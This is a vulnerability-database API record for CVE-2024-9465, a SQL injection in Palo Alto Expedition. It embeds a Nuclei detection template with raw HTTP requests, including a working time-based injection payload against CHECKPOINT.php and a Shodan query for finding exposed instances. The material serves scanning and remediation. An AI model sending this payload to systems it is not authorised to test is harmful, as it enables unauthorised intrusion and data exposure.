{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-9465/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-9465/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-9465/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-9465/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-9465/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-9465"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-9465"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-9465.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-9465\n\ninfo:\n  name: Palo Alto Expedition - SQL Injection\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection to reveal Expedition database contents including password hashes, usernames, device configurations, and API keys, and create or read arbitrary files on the system.\n  remediation: |\n    Apply security updates from Palo Alto Networks as specified in security advisory PAN-SA-2024-0010 to address the SQL injection vulnerability in Expedition.\n  reference:\n    - https://security.paloaltonetworks.com/PAN-SA-2024-0010\n    - https://github.com/horizon3ai/CVE-2024-9465/tree/main\n    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-9465\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2024-9465\n    cwe-id: CWE-89\n    epss-score: 0.99626\n    epss-percentile: 0.99948\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: paloaltonetworks\n    product: expedition\n    shodan-query: http.favicon.hash:1499876150\n  tags: time-based-sqli,cve,cve2024,palo-alto,sqli,kev,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=get&type=existing_ruleBases&project=pandbRBAC\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"ruleBasesNames\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(6)))test)\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502210099c3398e373a092cb4d00762c9d9955b31aea267e24c40655a327ed4669ba19d022000ac3973f61ed53a71ece43e111a0bb5ac9f132ba4d43112b62d222e8da3ae54:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-9465"
}